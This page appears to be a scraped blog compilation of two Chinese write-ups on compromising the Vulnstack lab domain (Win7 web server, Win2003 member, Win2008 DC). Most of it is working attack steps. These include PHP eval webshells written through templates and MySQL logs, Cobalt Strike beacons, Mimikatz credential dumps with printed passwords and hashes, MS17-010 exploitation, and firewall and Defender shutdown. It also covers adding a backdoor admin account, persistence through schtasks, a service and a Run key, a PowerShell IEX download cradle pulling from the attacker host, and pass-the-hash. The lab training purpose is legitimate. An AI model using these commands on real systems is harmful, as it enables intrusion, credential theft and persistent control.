内网渗透之vulnstack靶场系列
Posted Henry404s
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透之vulnstack靶场系列相关的知识,希望对你有一定的参考价值。
一、环境搭建
拓扑图
用户配置
Vulnstack靶场有两个默认用户, 分别是域成员liukaifeng01
和域管理员用户Administrator
, 其默认密码均为hongrisec@2019
首次登录会要求用户修改密码, 除此之外我还新添加了个test1
用户用于登录win2003主机
所有的用户信息如下表格所示:
登录主机 | 用户 | 密码 |
---|---|---|
win2008 (域控服务器) | Administrator | QWEasd123 |
win7-1 (web服务器) | liukaifeng01 | qQ123456 |
win2003 (域内主机) | test1 | qQ123456 |
虚拟主机配置信息
虚拟机 | 网卡信息 | ip |
---|---|---|
Kali linux (用于搭建CS服务器和MSF服务器) | NAT | 192.168.47.134 |
win7 (攻击机) | NAT | 192.168.47.133 |
win7-1 (web服务器) | NAT VMnet3 | 192.168.47.148 192.168.52.143 |
win2008 (域控服务器) | VMnet3 | 192.168.52.138 |
win2003 (域内主机) | VMnet3 | 192.168.52.141 |
下图为VMnet3
网卡的配置信息, 配置的子网IP为192.168.52.0
, 设置为仅主机模式
下图为NAT模式的VMnet8
网卡配置信息, 配置的子网IP为192.168.47.0
网络连接配置
域控的网络连接配置如下:
Web服务器有两个网卡, 其中一个网卡是用于Web服务器与域内主机进行数据交互, 此网卡需将DNS服务器地址设置成域控服务器地址, 其他域内成员的网络配置亦是如此, 这里就不详细描述了
配置web网站
在web服务器(win7)找到phpstudy\\www
目录, yxcms
就是搭建在外网的网站源码
找到phpstudy的站点域名设置, 将网站目录设置成yxcms目录的绝对路径, 网站端口设置成81
, 网站域名可随意设置, 这里我设置成www.henry404.net
, 然后点击修改, 再点击保存设置并生成文件
修改Web服务器的hosts
文件, 将本机的ip绑定如上设置好的域名
为什么要给192.168.52.143绑定域名? —— 为了让攻击机能够解析域名
修改hosts文件时可能要管理员权限, 需要先给当前用户赋予修改host文件的权限,此处不详细描述
攻击机的hosts文件也要修改成与上述一致
web服务器启动phpstudy, 然后在攻击机使用浏览器访问www.henry404.net:81
, 若出现如下图所示的页面则代表网站配置成功
二、渗透web服务器
1.拿下网页后台
访问配置好的网站,在其公告信息已经说明了网站的后台目录(/index.php?r=admin
)以及管理员的账号密码(admin,123456
)
访问网站后台页面(www.henry404.net:81/index.php?r=admin
), 输入账号密码登录后台
2.写入webshell
点击前台模板->管理模板文件, 随后会显示前台的php模板文件
点击右上角的新建按钮, 新建一个前台模板文件并写入webshell(<?php @eval($_POST['cmd']);?>
), 随后点击创建
3.连接webshell
此处不详细讲述如何寻找webshell文件的网页路径, 毕竟此靶场是以内网渗透为主
webshell的网页路径为:http://www.henry404.net:81/protected/apps/default/view/default/test.php
, 使用蚁剑连接webshell, 即可对网站进行接下来的渗透
4.远程命令执行CS上线
此处不演示CS服务的搭建过程, 如果想了解Cobalt Strike的相关操作可以翻阅我博客发布的CS系列文章
先使用CS客户端生成一个可执行程序木马, 然后通过蚁剑将其上传至网站服务器上, 这里选择上传至phpstudy/WWW
目录
上传至C盘目录可能会因为权限问题导致上传失败
在木马所在目录打开终端, 输入artifact.exe
运行上传的木马程序
返回CS客户端查看Web服务器上线情况
三、内网渗透
信息收集
收集域内信息
1.查看网关的ip地址, DNS的ip地址、域名等等: shell ipconfig /all
- 主机名: win7-1
- 主域: god.org
- 网卡1的ip: 192.168.47.149; 网卡2的ip: 192.168.47.143
- DNS服务器: 192.168.52.138
2.列出当前域控的主机列表: net view
- OWA(192.168.52.138)
- ROOT-TVI862UBEH(192.168.52.141)
- WIN7-1(192.168.52.143)
3.列出当前域的域控: net dclist
当前的域控是OWA(192.168.52.138)
4.查看当前主机的共享列表: net share \\\\[主机名]
可以发现当前主机默认开启了C盘共享功能
收集用户信息
1.查看当前主机的用户列表: shell net user
2.查看当前主机的登录用户: shell echo %username%
3.判断当前用户是否属于管理员组: shell whoami/groups
这里并没有发现liukaifeng01的所在组别, builtin是内建用户
内建用户: 系统刚安装完成时所创建的用户, 并非当前登录用户
4.查询本地管理员组的用户: shell net localgroup administrators
可发现liukaifeng01属于本地管理员组
5.查看当前域内所有用户: shell net user /domain
尝试获取用户账号密码
由于当前用户liukaifeng01属于管理员组, 可以对其使用ms14-058提权模块, 提权后会返回一个SYSTEM权限的用户
对拥有SYSTEM权限的会话运行Mimikatz, 随后在beacon命令行会返回用户的账号信息
当然在视图->凭证信息
查看用户数据会更加清晰明了
- 域管理员账号密码: Administrator/QWEasd123
- 当前用户账号密码: liukaifeng01/qQ123456
横向移动
漏洞扫描
上传ladon
工具至Web服务器上的C盘上
随后在beacon命令行输入:shell ladon.exe 192.168.52.0/24 MS17010
, 扫描Web服务器所处C段的IP是否存在MS17010漏洞
发现有三台主机存在MS17010漏洞, 且其中一台主机(192.168.52.138)是域控服务器
漏洞利用
为了将kali的MSF杀进内网, 我们要在Web服务器开启socks4代理, 走1080端口, beacon命令行输入: socks 1080
Socks 代理相应的采用 Socks 协议, 代理服务器就是 Socks 服务器,这是一种通用的代理服务器。代理服务器是指位于使用者和服务器之间的计算机。通过拦截发送方和接收方之间的连接来工作。重要的是可以隐藏用户实际IP地址保护用户信息安全
在MSF设置socks4代理服务器以及开通双向隧道
msf > setg proxies socks4:192.168.47.134:1080 #配置msf的socks代理服务器
msf > setg ReverseAllowProxy true #开启双向隧道
使用auxiliary/admin/smb/ms17_010_command
针对MS17010漏洞执行远程命令进行关闭防火墙
关闭防火墙的Dos命令:
netsh advfirewall set allprofiles state off
查看防火墙状态的Dos命令:
netsh advfirewall show allprofiles
msf5 > use auxiliary/admin/smb/ms17_010_command #使用ms17010远程命令执行模块
msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138 #设置目标主机ip
msf5 auxiliary(admin/smb/ms17_010_command) > set command netsh advfirewall set allprofiles state off #设置远程执行的命令(此处命令是关闭防火墙)
msf5 auxiliary(admin/smb/ms17_010_command) > run #开启攻击
执行远程命令开启3389端口(远程服务), 发现远程服务开启失败
msf5 auxiliary(admin/smb/ms17_010_command) > set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
msf5 auxiliary(admin/smb/ms17_010_command) > run
开启远程服务的Dos命令:
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查询3389端口是否打开的Dos命令:
netstat -an | find "3389"
接下来攻击域内成员win2003主机, 这次使用exploit/windows/smb/ms17_010_psexec
模块, 返回目标主机的meterpreter会话(MSF上线)
set rhost 192.168.52.141 #设置目标主机
set payload windows/meterpreter/bind_tcp #设置监听协议
set lhost 192.168.47.134 #设置MSF的服务器IP
set lport 7777 #设置监听端口
run
生成跳板木马
由于CS服务器无法与域控服务器进行数据交互, 只能与web服务器进行数据交互, 因此要将web服务器作为跳板来实现CS服务器与域控服务器之间的数据交互
创建跳板监听: 鼠标右键单击用户->中转->listener
监听的IP应为跳板主机的内网ip(能够与域控进行通讯)
在生成后门处选择Windows Executable(S)
, 即生成无状态木马, 然后上传至Web服务器的C盘目录
Windows 带有生成出的是stageless版本(无状态Windows后门木马),下面简单说下这个无状态木马的使用方法。一般使用无状态木马的网络环境是这样的
如果开启了防火墙可能会产生安全警告,最好提前用cmd关闭防火墙或者新建放行规则,然后便可以将无状态木马放入到其他内网机器中执行
域内文件传输
通过创建C盘共享将生成的无状态木马传送至域控服务器
与目标IP实现C盘共享: shell net use \\\\192.168.52.138\\c$ "QWEasd123" /user:"Administrator"
将Web服务器C盘的无状态木马拷贝至域控服务器C盘处: shell copy c:\\\\beacon.exe \\\\192.168.52.138\\c$
查看域控的C盘目录: shell dir \\\\192.168.52.138\\c$
, 判断木马是否拷贝成功
返回MSF界面, 利用ms17010漏洞远程命令执行C盘的无状态木马: set command c:\\\\beacon.exe
随后在cs客户端查看域控服务器的上线情况
权限维持
创建计划任务
使用schtasks
命令远程创建计划任务执行后门程序, 前提要知道远程主机的管理员账号密码
schtasks /create /s 192.168.52.138 /u Administrator /p QWEasd123 /ru "SYSTEM" /tn test /sc DAILY /st 20:45 /tr C:\\\\beacon.exe /F
/ru: 运行该任务的用户, 对于系统帐户,有效值是 “”、“NT AUTHORITY\\SYSTEM” 或"SYSTEM"
/tn: 任务名称
/sc: 任务执行频率, 其中daily表示每天执行
/tr: 要执行的文件
/F: 强制执行任务
查看域控服务器的任务计划程序, 可发现刚创建的后门计划任务
若要清除计划任务执行以下命令
schtasks /delete /s 192.168.52.138 /tn "test" /f
创建windows服务
使用sc命令创建一个名为"name"的服务, 设置开机后门脚本程序自启动, 注意将powershell命令行替换成自己的
shell sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \\"IEX ((new-object net.webclient).downloadstring('http://192.168.47.134:80/a'))\\""
设置name服务自启动
shell SC config "name" start= auto
设置服务的描述内容
shell SC description "name" "description"
启动服务
shell net start "name"
删除服务
shell SC delete "name
创建注册表后门
将/d
后的文件路径修改成后门程序的路径
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v "Keyname" /t REG_SZ /d "C:\\\\beacon.exe" /f
总结
1.ms17_010_psexec
模块的利用条件
- 防火墙必须允许SMB流量出入
- 目标必须使用SMBv1协议
- 目标必须缺少MS17-010补丁
- 目标必须允许匿名IPC $和管道名
2.使用ms17_010_psexec
模块有几率导致蓝屏
3.开启远程服务和关闭防火墙需要管理员权限
Vulnstack红日安全内网域渗透靶场1实战
文章目录
前言
VulnStack 是由红日安全团队倾力打造一个靶场知识平台,靶场环境(CMS、漏洞管理、以及域管理等)全部依据国内企业的业务习惯进行模拟,环境设计思路全部来源 ATT&CK 红队评估设计模式,从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。为了进一步学习内网渗透,本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。
靶场环境搭建
在线 靶场链接 如下:
1、下载后为 3 个虚拟机,网络拓扑如下:
2、从网络拓扑图得知,需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,故需要配置两个网络适配器(网卡),点击添加网络设配器:
3、然后将 Win7 的网络适配器 1 设置成自定义( VMnet1 仅主机模式),网络适配器 2 设置成 NAT 模式:
4、而 Win2003、Win2008 网络适配器设置成自定义(VMnet1仅主机模式)即可:
5、至此网络配置完成,现在可以登进去每个服务器看一看,是不是成功获取了IP,这三台虚拟主机默认开机密码都是 hongrisec@2019
(有的会提示密码已过期,更改为 Qwer1234 即可),最终形成的 IP 划分情况如下:
主机 | IP地址 |
---|---|
Win10 物理机 | 192.168.92.1(VMnet8 网卡的IP) |
Win7 外网服务器 | 外网IP:192.168.92.130;内网IP:192,168.52.143 |
Win2003 域成员主机 | 内网IP:192.168.52.141 |
Win 2008 域控主机 | 内网IP:192.168.52.138 |
VPS 攻击机(MSF、CS服务器) | 外网IP:104.XXX.XXX.164 |
【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24
网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24
网段:
6、配置完网络顺便验证下, Win7 外网服务器主机可访问外网,Win2003 内网主机不可通外网:
6、环境搭建的最后,在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务(模拟外网 Web 站点):
7、使用 Win10 物理机可正常访问 Win7 服务器的站点:
至此,整个内网域靶场的环境搭建完毕。
外网边界突破
接下来开始正式的渗透测试,红日安全团队给出了一个红队的评估测试方法流程可供参考:
可以看到想进目标内网,需要先再外网打点,找到目标单位的外网服务站点、主机漏洞,并获得 Shell,再借助外网服务器当跳板机访问目标内网。
MySQL写日志Getshell
1、在 Win10 物理机访问目标单位的外网站点,发现一个 MySQL 连接检测:
输入账号 root 密码 root 进行连接检测,发现连接成功:
2、然并卵,没啥用啊,无奈使用 dirsearch 扫描下 Web 路径,有惊喜,发现有 phpmyadmin 路径:
3、访问 PhpMyAdmin (它是一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库),如下图所示:
4、发现存在弱口令 root/root,可成功登录后台:
接下来通过 PhpMyAdmin 后台 Getshell 有两种方法,具体可参见我的另一篇博文:渗透测试-PhpMyAdmin后台getshell。
5、先尝试直接使用into outfile
导出木马的方式是否可行,先执行select @@basedir;
查网站的物理路径:
那么执行select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/111.php';
写入木马到网站的根目录,写入失败(需要修改 MySQL 配置才行,具体参见另一博文,此处不介绍):
6、直接写入木马不行,那就换另一种方法——通过 MySQL 日志导入木马。先执行命令:show variables like '%general%';
查看日志状态:
7、当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值,则所执行的 SQL 语句就会对应生成对应的文件中,进而可 Getshell。故执行命令:SET GLOBAL general_log='on'
:
8、执行命令:SET GLOBAL general_log_file='C:/phpStudy/www/111.php'
,指定日志写入到网站根目录的 111.php 文件:
9、接下来执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>'
,即可将一句话木马写入 111.php 文件中:
10、访问日志文件(已写入一句话木马):
直接上 Cknife 工具 Getshell,如下图所示:
CMS后台上传GetShell
此靶场还有另外一种从外网 Getshell 的突破方法,本着以学习为目的的初心,在此也记录一下吧。
1、御剑扫网站后台,发现一个备份文件:
解压缩发现是一个 CMS 的源码:
2、猜测服务器搭建了 yxcms 系统,访问路径,果然存在:
3、观察发现公告处有提示后台地址和账号密码……
4、那必然是进后台……CMS相关系列,能拿到后台的,离 shell 还远吗?不是日志写入一句话,就是某某模板编译写入一句话,果断找模板编辑的地方。如下找到“前台模板”功能,点击进入编辑:
5、新增 shell.php 文件:
6、创建成功后我们通过刚刚拿到的网站源码,进行文件目录查找,最后找到木马生成后的位置在/yxcms/protected/apps/default/view/default/
路径下,如下:
7、故访问该路径下(http://192.168.92.130/yxcms/protected/apps/default/view/default/shell.php)的木马:
上 Cknife 连接木马文件获得 Shell,如下所示:
同时发现已经是管理员账户可以省略提权了(但似乎只是一个域用户):
至此,外网打点 GetShell 结束,下面将进入内网渗透阶段。
内网信息探测
下面开始内网渗透的硬骨头,目标是通过 Win7 外网服务器主机的现有控制权,横向渗透内网,拿下域控!在此之前需要进行内网信息搜集,摸清内网域组成和网络拓朴。
靶机CS Backdoor上线
拿下服务器权限后就要植入 Backdoor,植入 Backdoor 的方法大致有两种—— MSF 和 Cobalts Strike,这里演示 Cobalts Strike 的方式。
1、公网 VPS 上运行 CS 服务:
2、本地 Win10 物理机运行 CS 客户端并连接 CS 服务端,然后生成 exe 可执行 Backdoor 程序:
3、利用 Cknife 将生成的 exe Backdoor 文件上传到靶机:
4、接着在 Cknife 中使用终端命令行执行 exe Backdoor,随之 CS 客户端可以看到靶机上线:
5、进行简单的靶机信息收集:
6、可使用 Mimikatz 直接抓取本机用户密码:
7、进一步还可以利用 MS14-058 成功提权到 SYSTEM 系统权限账户:
内网域环境信息的收集
内网信息收集的主要目的就是查找域控以及域内的其他主机,先附上部分内网信息收集的命令:
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
1、先判断是否存在域,使用 ipconfig /all
查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org
,如下图所示:
或者也可以执行命令net config Workstation
来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息:
2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD,那接下来可执行net view /domain
查看有几个域(域环境可能存在多个域):
3、既然只有一个域,那就利用 net group "domain controllers" /domain
命令查看域控制器主机名,直接确认域控主机的名称为 OWA:
4、已经确认域控主机的名称为 OWA,继续执行命名net view
查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138
,如下图所示:
5、局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH
),最后再确认一下该主机是否也是存在域中,故执行命令net group "domain computers" /domain
查看域中的其他主机名,发现包含ROOT-TVI862UBEH
,故域中还包含一个域成员主机192.168.52.141
,如下所示:
至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138
,同时还存在另一台域成员192.168.52.141
,接下来的目标就是横向渗透拿下域控!
内网横向渗透
接下来将通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机。
CS派生会话给公网MSF
MSF 框架集成了诸多渗透测试的利器,在内网渗透中经常要将 CS 和 MSF 搭配起来一块食用!下面演示如何将 CS 获取到的会话派生给 MSF。
此处我在 VPS 主机上同时搭建了 MSF 框架和 CS 服务,其中 MSF 的搭建只需执行以下几条命令即可:
apt-get install curl,wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
执行安装脚本:./msfinstall
启动MSF框架: msfconsole
1、MSF 开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 104.168.***.***
set lport 6666
exploit
如下图所示:
2、CS 开启监听
回到 Cobalt Strike 中添加监听器,Payload 为 windows/foreign/reverse_http
,IP 为 MSF 的 IP,监听端口为 MSF 监听的端口:
3、CS 派生会话
选择刚才新建的与 MSF 对应的监听器:
此时返回 VPS 中的 MSF 窗口即可看到获得的 Shell 会话:
4、MSF 简单利用
获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm
判断靶机是否属于虚拟机(检查是否进入了蜜罐):
再如调用 post/windows/gather/enum_applications
模块枚举列出安装在靶机上的应用程序:
MSF进行永恒之蓝攻击
公网 VPS 上 MSF 获得会话后,目标是借助 MSF 集成的攻击模块开展横向渗透拿下内网其他机器。
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。
首先需要使用配置静态路由:
#加载MSF的autoroute模块,获取当前机器的所有网段信息
meterpreter > run post/multi/manage/autoroute
#添加目标内网路由
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
1、获取、查看当前机器的所有网段信息:
2、添加目标内网路由(添加失败,因为该路由已存在):
MSF内网端口扫描
现在路由可达内网网段,可以先对内网主机进行探测。
1、先执行background
命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i
重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp
模块扫描内网域成员主机 192.168.52.141
开放的端口:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run
发现开启了 445 端口:
2、同样的方法,发现域控主机192.168.52.138
也开启了 445 端口:
利用ms17-010进行攻击
1、对于开启了 445 端口的 Windows 服务器,肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描:
msf6 > search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run #进行扫描,观察是否存在该漏洞
如下图所示,发现内网其他两台主机都存在永恒之蓝漏洞:
2、接下来尝试利用永恒之蓝漏洞拿下域控主机192.168.52.138
,使用 MSF 集成的 ms17-010 漏洞 EXP:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhosts 192.168.52.138
msf6 > run
执行命令如下:
发现域控主机被打蓝屏了:
但是 MSF 并未成功获得域控主机的 Shell 会话:
3、猜测是跳板机 Win7 的防火墙导致的,返回 Win7 的 Shell 会话并执行命令关闭跳板机的防火墙功能:
msf6-> sessions -l #查看所有会话
msf6-> sessions 4 #进入会话4中
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender
执行结果如下:
此时到 Win7 虚拟机也可以看到防火墙被关闭的提醒:
4、好了那接下来就开始重新对域控主机进行永恒之蓝攻击,还是无法获得 Shell 会话……
5、好吧看网上资料确实要通过永恒之蓝直接获得目标主机的 Shell 的话成功率不高(我甚至把域控主机的防火墙也关了发现也不行)……以下成果演示借鉴内网渗透靶场学习实验 ,如下是成功通过永恒之蓝获得域控的 MSF 会话:
可执行命令screenshot
截取目标靶机的屏幕,确认已拿下域控:
以上便是借助永恒之蓝漏洞横向渗透拿下域控主机的全过程!
MSF开启3389远程桌面
拿下域控的 Shell 后如果能使用远程桌面连接域控主机,那么管理起来肯定更加方便了。
1、MSF 提供端口转发模块,可以实现将内网的远程桌面端口转发到外网跳板机的端口上,以实现本地物理机进行远程桌面连接。其具体命令如下:
portfwd
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口
2、执行命令:portfwd add -l 9999 -r 192.168.52.138 -p 3389
,即可将内网域控主机的192.168.52.138
的 3389 端口代理到 Win7 跳板机的 9999 端口上,大佬演示如下:
3、本人因未能借助永恒之蓝拿到域控的 Shell,所以此处演示下开启 Win7 跳板机的 3389 端口,先来看看 Win7 跳板机默认是不开启远程桌面的:
4、由于已经在 MSF 中获得 Win7 的 Shell,故只需要返回会话并执行命令run post/windows/manage/enable_rdp
即可开启靶机的远程桌面:
5、此时重新连接即可成功连上 Win7 的远程桌面:
6、获得服务器 Shell 后开启远程桌面的方法,除了借助 MSF,在常规渗透过程也可以在 CMD 命令中实现:
#win7开启3389
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user Tr0e Pass!@123 /add
# 给Tr0e账户添加为管理员权限
net localgroup administrators Tr0e /add
#查询是否成功添加 Tr0e 用户
net user Tr0e
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
上述命令可以在冰蝎、菜刀的命令终端执行即可。篇幅所限,此处不再演示。
MSF哈希传递攻击PTH
上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。PTH 的相关概念和知识可以参见我的另一篇博文:浅析Windows域环境身份认证与攻击思路。
【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。
在域环境中,利用哈希传递攻击的渗透方式往往是这样的:
- 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
- 通过哈希传递攻击尝试登录其他主机;
- 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。
下面使用 Metasploit 来进行本靶场环境的进行 PTH 攻击演示:
1、进行哈希传递攻击的前提是获得已知主机用户的密码 Hash 值,MSF 中自带 mimikatz 模块(在 MSF6 中已被更强大的 kiwi 模块取代)可以进行哈希凭证窃取,用法可参见博文:Metasploit-进阶用户密码与mimikatz模块kiwi模块,此处不演示。大道至简,直接借助 CS 进行用户哈希凭证窃取:
获得的 Administrator 管理员账户的密码信息如下:
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : d3dbdca0422b393019f10a933d4868dc
* NTLM : b0093b0887bf1b515a90cf123bce7fba
* SHA1 : 51847afe5a11ac2c0f96b143456419ade5ba2610
tspkg :
* Username : Administrator
* Domain : GOD
* Password : Qwer@1234
2、获得 NTLM Hash:b0093b0887bf1b515a90cf123bce7fba
,在 Metasploit 中,经常使用于哈希传递攻击的模块有:
auxiliary/admin/smb/psexec_command //在目标机器上执行系统命令
exploit/windows/smb/psexec //用psexec执行系统命令
exploit/windows/smb/psexec_psh //使用powershell作为payload
3、以exploit/windows/smb/psexec
模块哈希传递攻击 Windows Server 2008 为例:
use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:b0093b0887bf1b515a90cf123bce7fba
set smbdomain god
run
然而我发现我又执行失败了(我太难了,应该是靶场域环境的问题,Win7 跳板机执行域命令会频繁出现 RPC 服务不可用的报错,各种百度无果)……
不想折腾了,直接放上大佬们的成功执行 PTH 攻击的成果截图吧:
总结
该内网靶场的渗透实验,大概得折腾了我整整 3-4 天才做完(而且各种攻击不畅……),其中 Win7 跳板机执行域命令频繁报错如下(各种百度解决方案均行不通,如有知情大佬请赐教,感激不尽……):
最后我发现在 Win7 上切换用户、登录域其他账户是偶尔可以成功执行域命令的:
虽然最后拿下域控的结果是盗用大佬的图(自己没成功很不爽……),但是该靶场练习过程也学到了很多内网渗透的实战知识!比如 CS 与 MSF 如何联动、MSF 如何开启 Windows 靶机的远程桌面、如何进行哈希传递攻击等。内网渗透水还很深,继续加油吧!
以上是关于内网渗透之vulnstack靶场系列的主要内容,如果未能解决你的问题,请参考以下文章
内网渗透之Msf-Socks代理实战(CFS三层靶场渗透过程及思路)